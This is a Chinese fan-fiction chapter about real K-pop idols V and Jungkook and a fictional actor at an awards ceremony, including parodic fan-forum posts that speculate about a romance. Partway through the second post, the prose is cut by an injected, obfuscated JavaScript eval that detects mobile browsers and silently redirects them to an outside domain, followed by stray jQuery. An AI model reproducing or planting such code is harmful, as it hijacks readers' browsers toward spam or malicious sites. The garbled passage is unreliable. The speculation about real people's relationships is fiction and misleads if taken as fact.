酒店的露台，寒风凛凛，他深吸一口空气，试图驱散宴会厅里香过度热情交织成的粘稠感。手机屏幕亮起，田柾国那张丑萌的地铁广告牌设计图让他会心一笑。


    金泰亨端着一杯几乎未动的香槟，站在一盆巨大的绿植旁。唇角噙着恰到好处的社交微笑，正与一位知名制片人低声交谈，然而，他的余光，却像不动声色地扫过露台入口。


    当朴哲秀的身影重新出现在那片喧哗的边缘时，金泰亨眼眸眯了一下。


    “V，你对这位新晋青龙新人怎么看？”制片人顺着金泰亨的目光看去，饶有兴味地问，“他的感言很有力量，真实得不像这个年纪的偶像。”


    金泰亨收回目光，笑容加深，眼底是了然和一丝恰到好处的的骄傲：“Jake，他是个非常有天赋也非常努力的演员。最重要的是。”


    他顿了顿，语气带着一种强调，“他懂得倾听和吸收。就像我常对他说的，在表演这条路上，真实和寻找角色的本真内核，比任何技巧都重要。看到他今晚能如此清晰地表达出这一点，作为看着他成长的前辈，我深感欣慰。”


    不远处的角落里，几个举着专业相机的站姐（其中混杂着金泰亨的唯粉和CP粉）精准地捕捉到了金泰亨望向朴哲秀方向的那个瞬间，以及他此刻与制片人交谈时的姿态。手指在相机快门和手机屏幕间飞快舞动。


    另一边，田柾国正被一群相熟的后辈和工作人员围着，他脸颊泛红，眼睛亮得惊人，嗓门也比平时大了几分。


    “广告牌，必须包。”他挥舞着手机，屏幕上正是那张丑萌的设计图，“就要这个风格，江南区全线，给我弟排面，哲秀啊——”他转头看见朴哲秀走过来，立刻像个大型犬一样扑过去，手臂熟稔地挂上朴哲秀的肩膀，半个身子的重量都压了上去。


    语气喷在朴哲秀耳边，“哥说到做到明天，不，现在就让我助理去联系。”他兴奋地摇晃着朴哲秀，完全无视了对方略显僵硬的身体和周围投来的各种目光。


    朴哲秀被他晃得头晕，无奈地笑着试图稳住身体：“柾国哥，你喝多了……”


    “没多，高兴。”田柾国豪气地一挥手，凑得更近，几乎是贴着朴哲秀的耳朵，用只有两人能听到的音量，带着点孩子气的炫耀和亲昵，“看哥对你多好，比某些只会说漂亮话的实在多了吧？” 他意有所指地朝金泰亨的方向努了努嘴。


    朴哲秀他稍稍拉开一点距离，拍了拍田柾国的背，语气带着安抚和不容置疑的清醒：“哥，你喝醉了。我让助理先送你回去休息？” 他一边说，一边给旁边田柾国的助理使了个眼色。


    田柾国被助理半扶半劝地带走，嘴里还在嚷嚷着广告牌、弟最棒。朴哲秀站在原地，能感觉到背后来自金泰亨方向那道如有实质的目光。


    【微博知名CPBE站投稿（缺德版）】


    投稿人：看透一切的显微镜女孩


    接收投稿站子：@今天柜门焊死了吗 (知名CPBE站，以犀利解构CP著称)


    投稿内容


    【#泰哲# 正主亲自扛水泥砌墙，柜门秒变承重墙。BE美学巅峰。】


    关键词：青龙封神感言、精准定位、前辈の野望落空、直球拆柜


    姐妹们，速来品鉴今晚青龙颁奖礼的顶级BE美学，阴桃（朴哲秀）一战封神，感言真挚动人哭倒一片，但本显微镜女孩最嗨的点在于。


    他亲手用青龙奖杯当砖头，水泥都不用拌，直接给某些人幻想的柜门砌成了万里长城plus承重墙，金泰亨，V前辈，今夜痛失养成系娇妻剧本。BE了，但这be剧本也挺好磕。V桃再接再厉。


    【豆瓣小组产品站投稿】


    投稿人：显微镜成精の嗑药鸡（缺德等级：MAX）


    投稿话题：#桃V/正主亲自砌墙？不，是砌了一座镶钻的柏林墙


    关键词：青龙封神夜 / 感言拆柜门 / Vの眼神杀 / 顶级BE美学 / 他逃，他追（脑补版）


    姐妹们，速速集合，带着你们的八倍镜和速效救心丸，青龙之夜，我们哲泰CP粉经历了一场怎样的过山车。


    是BE，是HE？不，是正主亲手给我们端上了一盘顶级和牛刺身——表面冰鲜，内里滚烫，刀工精准，每一片都写着欲盖弥彰四个镶金大字！来，让本嗑药鸡带你们逐帧品鉴这暧昧不清的修罗场。


    【Part 1：台上の精准爆破——感言里的温柔刀】


    当阴桃握着那座沉甸甸的青龙，哽咽着说出冷到骨头缝里都疼时，本鸡的心也跟着抽抽，但，重点来了。


    当他目光如炬（带着刚哭过的水光，杀伤力MAX）扫过台下，精准定位到我们V哥时，V哥那是什么表情，是吾家有儿初长成的欣慰？


    是，但更深层的是什么，是狩猎者看到精心豢养的鹰隼第一次成功捕猎归巢时，那种混合着骄傲、掌控欲和一丝它会不会飞走的隐秘焦灼。


    然后，阴桃开口了，他重点感谢了粉丝（太真诚了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091440|179259||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ）他感谢了导演，感谢了剧组，感谢了公司，感谢了队友（团魂炸裂是另一盘菜，先按下不表）……终于，轮到了我们V哥，姐妹们，屏住呼吸。


    “还要特别感谢一直关心和提携我的前辈们。柾国前辈…谢谢你，哥。”


    （这里插入一个田柾国挂脖杀脑补：阳光小狗直球是甜，但格局打开，这是阴桃在铺垫，用柾国的兄弟情打底，衬托后面V哥的特殊，心机桃！）


    还有泰亨前辈…”（镜头切V，V哥嘴角那抹标志性的、仿佛经过精密计算的完美微笑，在听到前辈二字时，是不是极其极其极其细微地顿了一下？


    仿佛高速行驶的顶级跑车遇到了一粒微不足道却足够膈应的小石子，0.5秒，仅仅0.5秒，但本鸡的八倍镜不是白装的，那是计划被打乱的前兆，是期待落空的第一缕青烟。）


    您一直以来的鼓励和分享的经验，对我来说是珍贵的财富。”


    （鼓励，分享经验，珍贵财富——多么官方，多么体面，多么…疏离 V哥眼底那深邃的欣慰里，是不是瞬间掺进了一丝难以捕捉的空白？仿佛精心准备的剧本被撕掉了一页。他想要的难道是这种优秀员工感谢CEO的致辞吗？


    不，他想要的是更私密的，更带有捆绑意味的，比如没有V哥就没有今天的朴哲秀。但阴桃不给，他精准地把V哥定位在了可敬的前辈导师这个金光闪闪又遥不可及的神坛上！）


    您告诉我要做最真实的自己，这句话我一直记着…”（高光来了姐妹们，最真实的自己，V哥听到这句，那眼眸里是不是瞬间燃起了一点小火苗看，他还是把我的话放在心尖尖上的，这真实由我启蒙，这内核由我塑造，他依旧是我的作品……然而，阴桃的下一句是什么。）


    “也让我在塑造不同角色时，努力去寻找那个角色最本真的内核。”


    （轰——小火苗被精准扑灭，寻找角色内核？他把V哥的做真实自己这句充满私人引导意味的金玉良言，完美转化成了纯粹的职业方法论，V哥那刚燃起的带着占有欲的欣慰。


    是不是瞬间凝固，然后转化成一丝极力掩饰的、几乎看不见的失落？仿佛握在手里的沙，越想抓紧，流失得越快，阴桃用最真诚的语气，最恭敬的态度，在亿万观众面前。


    给V哥的养成系剧本焊上了一个名为专业提携的华丽标签，顺便用青龙奖杯当锤子，把柜门钉得死死的。这波操作，本鸡愿称之为温柔刀，刀刀割在Vの掌控欲上，顶级BE美学素材诞生。）